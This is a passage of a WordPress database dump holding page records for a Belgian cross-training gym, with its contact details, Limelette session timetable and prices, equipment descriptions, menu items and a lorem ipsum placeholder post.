(9, 1, '2013-05-23 18:13:57', '2013-05-23 18:13:57', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\nLes séances de Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'publish', 'closed', 'open', '', 'contact', '', '', '2015-04-21 09:07:44', '2015-04-21 09:07:44', '', 0, 'http://www.crosstrainingcenter.be/?page_id=9', 0, 'page', '', 0),
(10, 1, '2013-05-23 18:13:13', '2013-05-23 18:13:13', '', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-23 18:13:13', '2013-05-23 18:13:13', '', 9, 'http://www.crosstrainingcenter.be/?p=10', 0, 'revision', '', 0),
(11, 1, '2013-05-23 18:14:55', '2013-05-23 18:14:55', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www.crosstrainingcenter.be/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'publish', 'closed', 'open', '', 'les-seances', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 0, 'http://www.crosstrainingcenter.be/?page_id=11', 0, 'page', '', 0),
(366, 1, '2013-11-04 17:23:16', '2013-11-04 17:23:16', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:23:16', '2013-11-04 17:23:16', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(360, 1, '2013-11-04 17:19:48', '2013-11-04 17:19:48', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; usemap=\&quot;#imagemap\&quot; /&gt;\r\n\r\n                        &lt;map name=\&quot;imagemap\&quot; id=\&quot;Map\&quot;&gt; \r\n                        &lt;area shape=\&quot;namur\&quot; coords=\&quot;90,84,166,108\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot; /&gt; \r\n                        &lt;area shape=\&quot;limelette\&quot; coords=\&quot;174,121,233,132\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot; /&gt; \r\n                        &lt;/map&gt; \r\n', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:19:48', '2013-11-04 17:19:48', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(361, 1, '2013-11-04 17:20:34', '2013-11-04 17:20:34', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'publish', 'closed', 'open', '', 'les-seances-limelette', '', '', '2014-02-09 20:41:07', '2014-02-09 20:41:07', '', 0, 'http://www.crosstrainingcenter.be/?page_id=361', 0, 'page', '', 0),
(12, 1, '2013-05-23 18:14:43', '2013-05-23 18:14:43', '', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-23 18:14:43', '2013-05-23 18:14:43', '', 11, 'http://www.crosstrainingcenter.be/?p=12', 0, 'revision', '', 0),
(39, 1, '2013-06-13 16:23:30', '2013-06-13 16:23:30', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX Suspension Training &lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Kettlebel&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;ViPR&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h1&gt;&lt;b&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP TRAINER&lt;/span&gt;&lt;/b&gt;&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-13 16:23:30', '2013-06-13 16:23:30', '', 22, 'http://www.crosstrainingcenter.be/?p=39', 0, 'revision', '', 0),
(14, 1, '2013-05-23 18:15:58', '2013-05-23 18:15:58', ' ', '', '', 'publish', 'open', 'open', '', '14', '', '', '2015-04-21 08:50:05', '2015-04-21 08:50:05', '', 0, 'http://www.crosstrainingcenter.be/?p=14', 7, 'nav_menu_item', '', 0),
(15, 1, '2013-05-23 18:15:58', '2013-05-23 18:15:58', '', 'Notre philosophie', '', 'publish', 'open', 'open', '', '15', '', '', '2015-04-21 08:50:04', '2015-04-21 08:50:04', '', 0, 'http://www.crosstrainingcenter.be/?p=15', 3, 'nav_menu_item', '', 0),
(16, 1, '2013-05-23 18:15:58', '2013-05-23 18:15:58', '', 'Accueil', '', 'publish', 'open', 'open', '', 'acceuil', '', '', '2015-04-21 08:50:04', '2015-04-21 08:50:04', '', 0, 'http://www.crosstrainingcenter.be/?p=16', 1, 'nav_menu_item', '', 0),
(17, 1, '2013-05-23 18:13:57', '2013-05-23 18:13:57', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nblablabla', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-23 18:13:57', '2013-05-23 18:13:57', '', 9, 'http://www.crosstrainingcenter.be/?p=17', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(18, 1, '2013-05-23 18:14:55', '2013-05-23 18:14:55', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales 